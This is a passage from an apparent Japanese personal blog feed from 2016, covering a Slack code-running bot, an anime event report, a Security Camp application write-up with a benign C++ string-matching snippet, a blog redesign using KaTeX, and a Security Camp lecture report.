&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-partner=&quot;tweetdeck&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;Botつくれたヾ(๑&amp;gt;◡&amp;lt;)ﾉ&amp;quot; &lt;a href=&quot;https://t.co/4d2Bj0NF2I&quot;&gt;https://t.co/4d2Bj0NF2I&lt;/a&gt; &lt;a href=&quot;https://t.co/WrB8ciXJCi&quot;&gt;pic.twitter.com/WrB8ciXJCi&lt;/a&gt;&lt;/p&gt;&amp;mdash; とさいぬ (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/690577036096614400&quot;&gt;January 22, 2016&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

## コードを実行して結果を返すBot作った

某所Slackに **C++で困ったら誰かが教えてくれる場所** というチャンネルを立てたので, 他所のSlackで見たことのある見出し通りのBotがあると便利そうだなーと思っていたので作りました.  
&lt;https://gist.github.com/Tosainu/6b9eb76e56bdceaacb15&gt;

![slack](./2016-01-23-132924_1920x1080_scrot.png)

Bot宛のDM, もしくはBotを招待したチャンネルで

&gt; run C++ code

もしくは

&gt; run:language code

といったメッセージを投稿すると, オンラインコンパイラ[Wandbox](http://melpon.org/wandbox/)のAPIを叩き, 結果を投稿してくれます!!

## おわり

Slack便利すぎる...

* [Real Time Messaging API | Slack](https://api.slack.com/rtm)
* [dblock/slack-ruby-client - Ruby](https://github.com/dblock/slack-ruby-client)
* [Slack Bot Real Time Messaging API Integration in Ruby Tutorial – code.dblock.org | tech blog](http://code.dblock.org/2015/04/28/slack-bot-real-time-messaging-api-integration-tutorial.html)</content:encoded></item><item><title>進級してました</title><link>https://myon.info/blog/2016/03/31/promotion/</link><guid isPermaLink="true">https://myon.info/blog/2016/03/31/promotion/</guid><pubDate>Thu, 31 Mar 2016 00:00:00 GMT</pubDate><content:encoded>![shin9](./IMG_3191.JPG)  
このまま早く卒業したい...

&gt; 2015の振り返り記事, 本当は12月中に書きたかったのですが, 本当に忙しくて...  
一段落ついたころ(年度末くらい?)に改めて記事にしたいと思います.

&gt; [2016](/blog/2016/01/01/2016-new-year-resolution/)

めんどくさいのでやめました()</content:encoded></item><item><title>Rabbit House Tea Party 2016 参加レポート</title><link>https://myon.info/blog/2016/05/07/rabbit-house-tea-party-2016/</link><guid isPermaLink="true">https://myon.info/blog/2016/05/07/rabbit-house-tea-party-2016/</guid><pubDate>Sat, 07 May 2016 00:00:00 GMT</pubDate><content:encoded>![flag](./IMG_3406.JPG)  
Rabbit House Tea Party 2016 お疲れ様でした!!!  
こういったアニメのイベントに参加するのは初めてなのですが, 本当に最高な1日でした!!!

&lt;!--more--&gt;

## 前日夜

当初の予定では電車で 11:00 過ぎくらいに行こうかと思っていたけれども, 当日の物販の待機列形成が 6:00 らしいということで急遽夜行バスを予約. 流石にパンフレットが品切れになることはないだろうけど, 初参加のイベントで失敗はしたくないなということで.

出発の1時間前にバス停に着いてしまったので, 持ってきた**ごちうさ3巻**を読んで待ってた. とにかく雨が止んでてよかった.

## 横浜上陸!

予定通り 5:30 過ぎに桜木町駅に到着.  
パシフィコ横浜までの道を調べていると, 同じバスに乗っていたとある人(T氏とする)から声を掛けられた.

**&quot;もしかしてごちうさですか?&quot;**

どうやらバス停でごちうさ読んでいるのを見て察したみたい. これも何かの縁ってことで, T氏と会場へ向かった.  
途中, ナビに使っていた僕の携帯のGPSが荒ぶってUターンすることになったりもしたけど, 5:50 過ぎにパシフィコ横浜前到着. 物販の列ができる場所を探す時間も含めれば丁度いいくらいだったと思う.

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;c(＞◡＜と⌒c)つ彡 (@ パシフィコ横浜 (PACIFICO YOKOHAMA) in Yokohama, Kanagawa) &lt;a href=&quot;https://t.co/SFtuIrKRYH&quot;&gt;https://t.co/SFtuIrKRYH&lt;/a&gt;&lt;/p&gt;&amp;mdash; とさいぬ (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/728688846523781121&quot;&gt;May 6, 2016&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

## 物販

到着したときには既に列(というよりは群れ)ができててちょっと残念. ネットでは列整形のためのダッシュによるけが人の発生や販売開始時間の15分遅れで運営が叩かれてたけど, 元の原因はこの大人数の群れなわけで.

いろいろあって自分たちの前に並んでいた**イベントベテランのD氏**と仲良くなって, 以後T氏と合わせて3人で行動した. 偶然にも皆昼公演の座席の列がほとんど同じで, 特にD氏は僕のななめ後ろの席と近くて驚いた.  
前日の物販と同様, 販売開始後しばらくして千夜ちゃんキーホルダーの売り切れのアナウンスがあったりしたけど, 気になっていたもの(下の画像+イベントバッグ)はすべて入手できてよかった. とはいえ, 物販を脱出できたのは 10:30 過ぎ. 実に4時間半以上並んでいたようだ. イベント慣れしてるD氏やT氏は元気そうだったけど, 僕はこの時点で結構つらかった...  
![s1](./IMG_3433.JPG)  
![s2](./IMG_3432.JPG)

## 昼公演

正面スクリーンで60秒のカウントが開始. だんだんと音も大きくなっていって, **5! 4! 3! 2! 1! ﾜｰｰｰｰｯ** でステージ上の大きなプレゼント箱からメンバー登場! この瞬間, なんというか感動で涙が出てきた. それが声優!のアニメを見た影響もあってか, 今まであまり意識することのなかった声優という職業の方々は本当にすごいんだなと思うようになっていたのがあったのだと思う. 目の前(50mくらい先だったけど)に好きなアニメの声優さんがいるってだけでなんか感動してしまった.  
そういうのもあって, 個人的に朗読が本当に良かった. もちろんストーリー自体もイベントに絡ませたネタが混ぜ込まれていたりでとても楽しめたのだけれど, 何より**生の声優さんたちが今目の前でストーリーを読み上げている**というものすごい状況にもう圧倒されてしまった. 汗拭きとして持ってきたタオルが完全に涙ふきになってた.

**ごちうさ??でメンバー10人が着た衣装の種類の合計は?** というクイズがあったのだけれど, **検証映像があります**で笑ってしまった. そしてその検証映像の作り込み, 予想されていた値を超える検証結果. こういう一昔前のニコニコ動画的なノリ好きだなぁ.  
その他のミニゲーム的コーナー, 特に後半はいつの間にかルールが変わっていたり, 得点がインフレ起こしてたりでカオスだったけど, これはこれで楽しかった. これ夜公演だとまた違った展開になったり, &quot;昼はこんなエピソードがあってー&quot; みたいなトークもあったりするんだろうなと思うと夜も見たかったなとちょっと後悔.

そしてライブパートに突入. 1曲目が **&quot;ノーポイッ!&quot;** なのは予想できたけど, その後チノ役**水瀬いのりさん&lt;u&gt;ソロ&lt;/u&gt;**で **&quot;出かけましょうと答えましょう&quot;** がきてもうびっくり. 踊りながらにもかかわらず安定した歌声で歌っている姿は本当にすごいなぁと. とにかく最高だった.  
個人的に好きな楽曲でもあったココア役佐倉綾音さんとリゼ役種田梨沙さんによる **&quot;Rabbit Hole&quot;** が聴けたのも良かったし, 実は初めて聴くチマメ隊(水瀬いのりさん/徳井青空さん/村川梨衣さん)の **&quot;ぴょん&apos;sぷりんぷるん&quot;** も結構盛り上がってて良かった.  
イベントソングの **&quot;本日は誠にラリルレイン&quot;** はごちうさ?? BD/DVD 6巻に付いてくるみたいですよ!
&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;6/3発売『ご注文はうさぎですか？？』BD&amp;amp;DVD第6巻ジャケットを公開！初回限定特典として「Rabbit House Tea Party 2016」イベントソング『本日は誠にラリルレイン』も封入決定です！！&lt;a href=&quot;https://twitter.com/hashtag/gochiusa?src=hash&quot;&gt;#gochiusa&lt;/a&gt; &lt;a href=&quot;https://t.co/vrzw9nSbdo&quot;&gt;pic.twitter.com/vrzw9nSbdo&lt;/a&gt;&lt;/p&gt;&amp;mdash; TVアニメ「ご注文はうさぎですか？？」 (@usagi\_anime) &lt;a href=&quot;https://twitter.com/usagi_anime/status/728938903411949570&quot;&gt;May 7, 2016&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

## その他展示

とりあえず撮ったものはここに上げた.  
&lt;a data-flickr-embed=&quot;true&quot; data-footer=&quot;true&quot;  href=&quot;https://www.flickr.com/photos/tosainu/albums/72157667847131152&quot; title=&quot;rabbit-house-tea-party-2016&quot;&gt;&lt;img src=&quot;https://farm8.staticflickr.com/7018/26845679786_cc3d9ab3b3_n.jpg&quot; width=&quot;320&quot; height=&quot;240&quot; alt=&quot;rabbit-house-tea-party-2016&quot;&gt;&lt;/a&gt;&lt;script async src=&quot;//embedr.flickr.com/assets/client-code.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

個人的には**ティッピータワー**が良かった. 会場のステンドグラス?とも合って綺麗だった.  
![tippy](./IMG_3411.JPG)

**&quot;魔法少女チノ&quot; 等身大フィギュア**  
![chino](./IMG_3367.JPG)

**佐倉綾音さんのサイン**  
![ayaneru](./IMG_3388.JPG)

---

こんなに素晴らしいイベントを開催してくれたこと, そしてそれに参加できたことに本当に感謝です.  
ありがとうございました!!!!!!

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;「Rabbit House Tea Party 2016」閉幕いたしました！お越しいただきました皆様、出演者の皆様、ありがとうございました！！&lt;br&gt;またラビットハウスに遊びに来てくださいね♪ &lt;a href=&quot;https://twitter.com/hashtag/gochiusa?src=hash&quot;&gt;#gochiusa&lt;/a&gt; &lt;a href=&quot;https://t.co/72GkYHjPpt&quot;&gt;pic.twitter.com/72GkYHjPpt&lt;/a&gt;&lt;/p&gt;&amp;mdash; TVアニメ「ご注文はうさぎですか？？」 (@usagi\_anime) &lt;a href=&quot;https://twitter.com/usagi_anime/status/728911489772359680&quot;&gt;May 7, 2016&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

以下, イベント参加に関する私的メモです.

- 筆箱とバインダを持って行ったのは大正解 (物販行列での注文用紙の記入, パンフレットやクリアファイル等の曲がり防止)
- 折りたたみじゃない傘はくっっっっそ邪魔. でも疲れたときの杖にはなる. 折りたたみ傘 + ビニール袋とかのほうがいいかも.
- リュックサックは楽だが, 人混みの中でものが出し入れしにくかったり, ホール座席の下に入りきらなかったりした. A4サイズのものが十分入るくらいの肩から提げるかばんのほうがよかったかも.
- ホール入場前に水分をとっておく (喉乾いて辛かった)
- ペンライトは買っとけ</content:encoded></item><item><title>セキュリティ・キャンプ全国大会2016 に参加します</title><link>https://myon.info/blog/2016/06/26/seccamp2016/</link><guid isPermaLink="true">https://myon.info/blog/2016/06/26/seccamp2016/</guid><pubDate>Sun, 26 Jun 2016 00:00:00 GMT</pubDate><content:encoded>ちゃんとした報告が遅れましたが, 今年のセキュリティキャンプに受講生として参加することになりました.

3年前, Twitterを始めてすぐに知ったセキュキャン. 翌年応募をしようとするも, 課題を全く埋めることができなかったときの悔しさは今も忘れません. 他にも要因はありましたが, こうして痛感した同年代の方々との大きな差を少しでも埋めるべく, 学校で学んでいることと全く違う分野ですがここまで来ることができました.  
セキュキャンはもうダメかなとも思っていたので, とても嬉しいです.

もちろん選考に受かることだけが目的ではないので, 悔いのない最高の夏にできるよう, これからも更に頑張っていきたいと思います.  
よろしくお願いします!!!

&lt;!--more--&gt;

## 応募用紙

自己紹介的なのを兼ねて応募用紙を公開します.  
本文は一部修正を入れてGistに上げたので, こっちでは各設問の補足や感想を書いていきたいと思います.  
&lt;https://gist.github.com/Tosainu/293f167cde1a67ea7e0c18eed975d11c&gt;

### 共通問題1

制作物を自慢しまくれという問題. 自慢しろということなので良いところだけを書いた.  
正直に言えばtwitppはBoost.Asioをちゃんと扱えていないし, ラジコンもJavaScriptを全く知らない人間が書いたものなのでソースコードは人に見せられるものではないし...

書けそうな制作物を挙げていたら, 2015年は何も外部に公開できるようなことをしていないことに気づいた. 今年はもう少し何か公開できるものの製作にも力を入れたい.

### 共通問題2

印象に残っている技術的な壁を記述する問題. 技術的かは微妙だが, twitppの制作過程に触れながら, 2013年後半からのプログラミング学習について書いた.

本文に書いたように, これが始めて自分の書いたプログラムから投稿したTweetだったと思う.  
たしか当時はまだたくさんバグがあって, 本文にスペース入れると失敗することが多かったことから本文は半角英字で単語区切りが大文字になっている. (すごく懐かしい)
&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;ThisTweetWasPostedFromTosainusProgram.&lt;/p&gt;&amp;mdash; とさいぬ (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/405343973524250625&quot;&gt;November 26, 2013&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

### 共通問題3

セキュキャンで興味のある講義とやりたいことを記述する問題. (2)で挙げたように, 僕がセキュキャンを知ったときに一番興味を持ったのが低レイヤートラックの講義なので, キャンプを期に低レイヤーの世界に入門したいですと書いた.

### 選択問題4

**ひと目で尋常でない問題だと見抜いたよ**

解かなきゃいけないという使命感と, 最近書いたC++コードが無いなぁってことで選択.  
問題の趣旨的にはセキュリティやパフォーマンスを意識すべきだよなぁとか, これBEな環境で動かしたらどうなるんだろうとは思っていたけどあまり試せなかったのが反省点.

小文字大文字が混ざっていてもマッチさせるで, **あー, これ[Boost String Algorithms](http://www.boost.org/doc/libs/1_61_0/doc/html/string_algo.html)っぽいなー** と思ってしまったので遠慮なく[`equals()`](http://www.boost.org/doc/libs/1_61_0/doc/html/boost/algorithm/equals.html), [`iequals()`](http://www.boost.org/doc/libs/1_61_0/doc/html/boost/algorithm/iequals.html)を使った.

また, Cond5, Cond6を見て, **あー, なんか\&lt;algorithm\&gt;っぽいなー** と思って調べたら確かにそれっぽいのがあったので早速利用.  
[std::all\_of, std::any\_of, std::none\_of - cppreference.com](http://en.cppreference.com/w/cpp/algorithm/all_any_none_of)

```cpp
// cond. 6: Dataに下記の文字列を厳密に含まない
const static std::string invalid_order_brand[] = {
  &quot;DandySoda&quot;,
  &quot;FrozenEvergreen&quot;
};

auto cond6 = std::none_of(
  // invalid_order_brandの全要素に対して
  std::begin(invalid_order_brand), std::end(invalid_order_brand),
  // 次のlambdaを評価
  [&amp;packet](auto&amp; s) {
    // dataからsをfind
    return packet.data.find(s) != std::string::npos;
  }
);  // どれか1つでもtrue(invalid_order_brandの文字列を含んでいた)だったらfalse

// cond. 5:  Dataに下記の文字列を厳密に含む
const static std::string valid_order_brand[] = {
  &quot;BlueMountain&quot;,
  &quot;Columbia&quot;,
  &quot;OriginalBlend&quot;
};

auto cond5 = std::any_of(
  // valid_order_brandの全要素に対して
  std::begin(valid_order_brand), std::end(valid_order_brand),
  // 次のlambdaを評価
 [&amp;packet](auto&amp; s) {
    // dataからsをfind
   return packet.data.find(s) != std::string::npos;
  }
);  // どれか1つでもtrue(valid_order_brandの文字列を含んでいた)だったらtrue
```

こういう変なカンがついてきたのは成長ってことでいいのだろうか...

あとは, 最近のプログラムならテストコードは必須だよねってことで, [Boost.Test](http://www.boost.org/doc/libs/1_61_0/libs/test/doc/html/index.html)を使ったテストを添付した.  
190行目のテストケース,

```cpp
packet_t p5{{&apos;R&apos;, &apos;H&apos;}, &quot;nise-cocoa-san&quot;, &quot;chino-chan&quot;, 13, &quot;OriginalBlend&quot;};
BOOST_TEST(!check(p5));
```

**nise-cocoa-san**. 今見るとすごいじわじわくる...

### 選択問題3

PCの電源を入れてから任意のプログラムを実行するまでのストーリーを考える問題. 考えてくださいということなので, 詳しく調べること無く今ある知識だけで書いた.

### 選択問題10

問題文中のプログラムをホストと仮想マシン上で実行したときの結果を考察する問題. インラインアセンブリをしっかり見るのは始めてで, 興味を持ったので選択.

**Virtual PCで動くLinuxディストリ探すのが大変だった**.  
VPC氏, ゲストは32bitしか対応していない上に, Arch Linux含めて最新のLinuxのインストーラはどれもちゃんとBootしてくれない. CentOS7, Ubuntu 12.04/14.04/16.04, Scientific Linux 6.4等も試したけどどれもダメ.  
Ubuntu 10.04あたりがBootしている報告があったが, そういえばUbuntuのLive CDってコンパイラ入ってたっけ...  
いろいろ試した末, 理研のFTPで拾ったKNOPPIX V6.0で検証を行った.  

### 選択問題8

初めに書いておくと, **僕が提出した回答は多分間違っている**.

選択問題10でインラインアセンブリを多少扱えるようになったので, ちょっと頑張ってみた. x86(\_64)のアセンブリは初めてだが, PICとAVRのアセンブリの経験があったので, 同じようにマニュアルを読みながら進めることができた.

後から調べてわかったが, これはReturn-oriented programming **(ROP)**という手法によって書かれたもので, プログラム中の小さなコードの断片に`ret`で飛びまくることで目的の動作をさせる手法だそうだ. これを悪用し, WindowsのDEPなどのセキュリティ機能を回避して不正なプログラムを動かす攻撃を**ROP攻撃**と呼んだりするらしい. 解いている時は読みにくいプログラムだな~程度にしか思っていなかったが, 思った以上に深くてすごく勉強になった.

また, [@ki6o4さんの記事](https://kimiyuki.net/blog/2016/06/16/security-camp-application-form-writeup/)で[qira](http://qira.me/)というツールが紹介されていた. ものすごく便利そう.</content:encoded></item><item><title>とさいぬの隠し部屋はTosainu Labになりました</title><link>https://myon.info/blog/2016/07/03/new-design/</link><guid isPermaLink="true">https://myon.info/blog/2016/07/03/new-design/</guid><pubDate>Sun, 03 Jul 2016 00:00:00 GMT</pubDate><content:encoded>タイトルの通りです.  
&quot;とさいぬの隠し部屋&quot; は **&quot;Tosainu Lab&quot;** になりました.

理由としては, 最近

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-partner=&quot;tweetdeck&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;ブログタイトル, 〇〇の部屋ってあたりが数世代前のｲﾝﾀｰﾈｯﾂ感出してるのでそろそろ変えたい&lt;/p&gt;&amp;mdash; とさいぬ (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/747791333436186624&quot;&gt;June 28, 2016&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

という思いが強まっていたからです.  
丁度ブログデザインも少し修正したいなーと思っていたので, たまたま休講だった金曜日から一気にコードを書き上げました.

新タイトルはとさいぬのブログだという雰囲気を残しつつ, 少し変わったものにしようとしましたが良さげなものが思い浮かばず...  
結局とさいぬという言葉は残し, また技術ネタを中心にしていこうということでLabと付けました.  
古臭さは抜けたかもしれないけど, カッコよくなったかはちょっと微妙ですね...  
まぁいっか.

&lt;!--more--&gt;

## その他の変更点

### KaTeXの導入

技術ネタを中心にしていこうということで, 以前から興味のあった数式表示を導入しました.  
ってことで, とりあえずMaxwllの方程式を置いておきます.

$$
\begin{aligned}
\nabla \times \vec{E} &amp;= - \frac{\partial\vec{B}}{\partial t}\\
\nabla \times \vec{H} &amp;= \sigma\vec{E} + \frac{\partial\vec{D}}{\partial t}\\
\nabla \cdot \vec{D} &amp;= \rho\\
\nabla \cdot \vec{B} &amp;= 0
\end{aligned}
$$

この手で有名なのはやっぱり[MathJax](https://www.mathjax.org/)ですが, [前回のデザイン変更](/blog/2014/12/24/new_blog_theme/)で書いたようにあまり重量級Webサイトにしたくないという点でうーんという感じです. 何より静的サイトジェネレータ信者である僕としては**ブラウザで開かれたときに構文解析/レンダリングが行われる**というのがもう許せないです.

そこで見つけたのが**[KaTeX](https://khan.github.io/KaTeX/)**です. とりあえず左のリンクから公式の紹介サイトへ行き, `Type an expression:`のところに式を入れてみてください. **!?**となると思います.  
流石, **The fastest math typesetting library for the web.** と謳っているだけはありますね.

もちろん, KaTeXを選んだ理由はこれだけではありません. なんと**Server side renderingが可能**なんです!!!  
つまり, 予めKaTeXのJavaScriptを呼んで式を処理しておけば, **表示するときはCSSだけで良い**のです!!! すっごくないですかっ!? (友利奈緒)

とはいえ, このブログの生成に使っている[Middleman](https://middlemanapp.com/)はRuby製です.  
ということで, [ExecJS](https://github.com/rails/execjs)を使った[ラッパクラスを作成](https://github.com/Tosainu/blog/blob/8e9fa81b873719f107016e47f5b1d6c39e4e15fb/lib/katex.rb)し, markdownパーサの[Redcarpet](https://github.com/vmg/redcarpet)を[拡張して](https://github.com/Tosainu/blog/blob/8e9fa81b873719f107016e47f5b1d6c39e4e15fb/lib/custom_renderer.rb)強引に対応させました.  
RedcarpetのAPI都合上, 数式をcode spanやcode blockの中に記述しないといけないという仕様になっていますが, もし同じようなこと考えている方がいたら(いない)参考ししてもらえると良いかなと思います.[^1]

[^1]: Kramdownは数式エンジン対応が公式であって強いのだけど, GFM Parserを選択しても微妙に挙動が違って移行できなかった

### サイドバー

コードの汚い部分や重複を改善したり, SCSSを複数に分割したり, `compass/reset`から[normalize.css](https://necolas.github.io/normalize.css/)に移行といったリファクタリング的な修正が多く, あまり表に見える変更点は少ないのですが, サイドバーはかなり変わったと思います.

まずタグクラウドです. 今まではMiddleman-blogのタグ機能をカテゴリのように使っていましたが, 件数が増えて縦に長くなってきたので, もっとすっきりさせようということでこうしました.  
実装は[Wikipediaにあったアルゴリズム](https://en.wikipedia.org/wiki/Tag_cloud#Creation_of_a_tag_cloud)を参考に,

$$
s_i = f_{max} \cdot \frac{t_i - t_{min}}{t_{max} - t_{min}} + f_{min}
$$

- $s_i$: 表示するフォントサイズ
- $f_{min}$: 最小のフォントサイズ
- $f_{max}$: 最大のフォントサイズから$f_{min}$を引いた値
- $t_i$: 現在のタグがついた記事数
- $t_{max}, t_{min}$: タグあたりの最大, 最小の記事数

という感じにしました. 実際のSlimで書かれたテンプレートが[これ](https://github.com/Tosainu/blog/blob/8e9fa81b873719f107016e47f5b1d6c39e4e15fb/source/partials/_sidebar.slim#L24-L36)です.

年/月毎のアーカイブのリンクも同様の理由でコンパクトにまとめました. ~~どう見てもはてなブログです~~.  
とはいえ, これもよくある手法を使ってCSSだけで実現しています.

### Twitter cardsの画像対応等

Twitter使っているならば対応させておきたいのが[Twitter Cards](https://dev.twitter.com/cards/overview)です.  
これは前回のデザイン変更で導入していたのですが, **どのページのリンクでも同じ内容が表示される**という雑なものでした.

そこで, 今回の変更でそれなりにマトモなものにしました.  
まず, [こんな感じのヘルパ関数を追加](https://github.com/Tosainu/blog/blob/8e9fa81b873719f107016e47f5b1d6c39e4e15fb/helpers/custom_helpers.rb#L23-L41)して, 本文の先頭150字, 記事に貼られた画像を取得できるようにしました.  
そして, [Twitter CardsだけでなくOpen Graphのタグを設定](https://github.com/Tosainu/blog/blob/8e9fa81b873719f107016e47f5b1d6c39e4e15fb/source/layouts/default.slim#L10-L21)することで, その他の対応しているサービスでも利用できるようにしました.

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;てすと &lt;a href=&quot;https://t.co/8PHeWUpvua&quot;&gt;https://t.co/8PHeWUpvua&lt;/a&gt;&lt;/p&gt;&amp;mdash; とさいぬ (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/749618315903971328&quot;&gt;July 3, 2016&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

記事の画像を取得するヘルパ関数は**markdownからHTMLに変換された記事をNokogiriでparse**みたいな気持ちの悪いことをしているので, いつかなんとかできると良いなぁと. (たぶんしない)

## おわり

これからもよろしくお願いします!!!</content:encoded></item><item><title>セキュリティ・キャンプ全国大会2016に参加してきました</title><link>https://myon.info/blog/2016/08/18/seccamp2016-report/</link><guid isPermaLink="true">https://myon.info/blog/2016/08/18/seccamp2016-report/</guid><pubDate>Thu, 18 Aug 2016 00:00:00 GMT</pubDate><content:encoded>![certificate](https://c4.staticflickr.com/9/8287/29050078715_394bda05c9_z.jpg)

8/9~13の5日間, クロスウェーブ幕張で行われたセキュリティ・キャンプ全国大会2016に参加してきました.  
講師, チューターの皆さん, 4班 &quot;このキャンプには問題がある!&quot; をはじめとする50名の参加者の皆さん, そして事務局や協賛企業, クロスウェーブ幕張の方など多くの関係者の皆さん, 本当にありがとうございました.

以下, 選択した講義や参加したイベントについて, 簡単な紹介と感想を書いていきたいと思います.

&lt;!--more--&gt;

## 講義

### 共通講義

セキュリティで重要なのは**問題を解くよりも、問題を発見する力**ということで, 今年のセキュキャンの応募フォームについて, セキュリティ上問題のありそうな部分について議論しました.  
具体的に上がった内容については載せませんが, 今キャンプ生の中で話題の**事後アンケート(意味深)**はまたこのWebサービスを使っているようなので, この議論の後だとちょっと不安になりますね...

後半は, 丁度講師の方が参加して帰ってきたばかりという[Black Hat USA 2016](https://www.blackhat.com/us-16/)や[DEF CON 24](https://www.defcon.org/html/defcon-24/dc-24-index.html)の報告がありました. CGC(Cyber Grand Challenge)は, 学校の講演会でも扱われて聞き覚えのあったクルマの自動運転のGrand Challenge等と同じDARPAが主催ということでとても気になった話題で, サイバー攻撃と防御をプログラムに行わせるというのには驚き. 今後どうなっていくのだろうという感じです.

### 特別講義1 ZENIGATAになりたくて

サイバーディフェンス研究所の福森 大喜さんによる講演でした. 福森さんは普段シンガポールにあるインターポールに勤めているそうで, 今回の講義のためだけに日本に戻ってきたとのこと. ヤバイ.

講演の内容は, インターポールの役割に始まり, そもそもなぜインターポールで働くことになったかという経緯の紹介, また国際サイバー犯罪の捜査に関わっているということで, 世界中の機関と協力してボットネットを潰すという映画のようなお話や, 改ざんされた政府関連機関のWebページが長い間放置されているといった笑えないようなお話まで, どれも興味深い話題ばかりでした.

でも何よりも印象的だったのは, **課題で提出したプログラムに脆弱性があると言われたのをきっかけに3ヶ月勉強したら任意のコマンドを実行できるようになった** だとか, ボットネット攻撃の際に **24時間でマルウェア100体を解析したら報告スライドで世界企業とロゴを並べて紹介された** といったことをいとも簡単そうにお話されていたことです. もちろんこれは今に至るまでにものすごく多くの努力をしたというお話なわけですが, もうなんかすごすぎて終始空いた口がふさがりませんでした.

### 特別講義2 サイバー犯罪の実態とこれに対処するための取組

レイヤー8, 人が一番危ないということで, 倫理観や正義感についてのお話でした.  
既に他の受講者が書いていますが, 警視庁と警察庁の違いについての解説がなるほどなーという感じでした.

### 1-B BareMetalで遊ぶRaspberry Pi 入門編

**Raspbianがインストールされた小型コンピュータ**と説明されてしまうこともあるRaspberry Piを, そういったLinux等のOSに頼らない, BareMetalと呼ばれる状態で動かしてみようという講義で, 選択した中では一番気になっていました.

**低レイヤーの学び方を学ぶところから始めよう**ということで, まず事前課題であったコンピュータの基礎知識やRaspberry Piに乗っているSoCやCPUコアの資料の探し方についての解説がありました.  
ヒープメモリとスタックメモリについては今まで知らなかった内容だったので, 4-Dの事前課題とも合わせてとても勉強になりました. またここで他の受講生から &quot;プログラムが複数動いている環境でのメモリの使い方はどうなるのか&quot; という質問があり, 他の講師の方も交じりながらMMU(Memory Management Unit)についての解説が始まったりと, 確かに基礎ではあるけれどもそれなりに高度な内容に触れたりもしました. そういえばAPの問題集に仮想のメモリアドレスを実際のメモリアドレスに変換するみたいな内容があったなーと思い出しながら聞いていました.

後半は, リンカスクリプトやMakefileの書き方などにも触れながら, 実際にスタートアップコード, 及びGPIOを操作するプログラムを記述してLチカを行いました.  
リンカスクリプトは普段見ない独特の文法で(個人の感想です), スライドを写経したつもりでもなかなかエラーが消えず苦労しました. また, GPIOを操作するためにはいくつかのレジスタの値を変更する必要があるわけですが, 今回扱うARMのレジスタは32bitも幅があり, この32桁の中から目的のビットは何番目なのか数えるのは, 慣れていないこともあって意外に時間を取られました.  
それでもなんとか講義時間内にLチカすることができました. 今まで扱ったことのある8ビットマイコンより遥かに大きなマシンを動かしただけあって, この瞬間はもう感動モノでした. (写真撮っておけばよかった...)

今後はまず, 手持ちのRaspberry Pi 1 Model Bを使って同じようにBareMetalで遊んでみようと思います. また, この講義では単にRaspberry PiをBareMetalで扱う方法だけでなく, 低レイヤーの学び方を学んだわけなので, いずれは何か未知のデバイスを講師の西永さんがされたように自分で調べながら動かしてみたいなぁと思いました.

### 2-B 謎マシンでNetBSDのクロス開発体験

一言で言えば, mikutter on NetBSD on Raspberry Piする講義でした.

クロス開発環境の構築はそれなりに手間がかかるというイメージがありますが, NetBSDのクロス開発は&lt;ftp://ftp.jp.netbsd.org/pub/NetBSD/NetBSD-current/tar_files/src.tar.gz&gt;からソースコードをダウンロード&amp;展開すれば, 後は全部`build.sh`がやってくれるから簡単だよということでした.  
実際にRaspberry Pi用のカーネルのコンパイル等を行いましたが, 確かにコマンド数行で済んでしまうのですごいなーという感じでした.

とはいえ, 1-Bで講師の方が言っていた **今簡単にLチカできるのは誰かがLinuxを移植したから** と同様に, 今簡単にクロス開発が行えるのは誰かがその環境にNetBSDを移植したからであると思うので, 実際に謎マシンにNetBSDを移植する過程についてが少し気になりました.

### 3-C 脆弱性検出実践(ファジング技術と脆弱性報告)

ファジングと呼ばれる手法を用いた脆弱性検出の体験と, IPAの方による脆弱性報告についての講義でした. せっかくセキュキャンに参加したのだから, 正しい脆弱性報告の方法くらいは学んで帰りたいなということで選択しました.

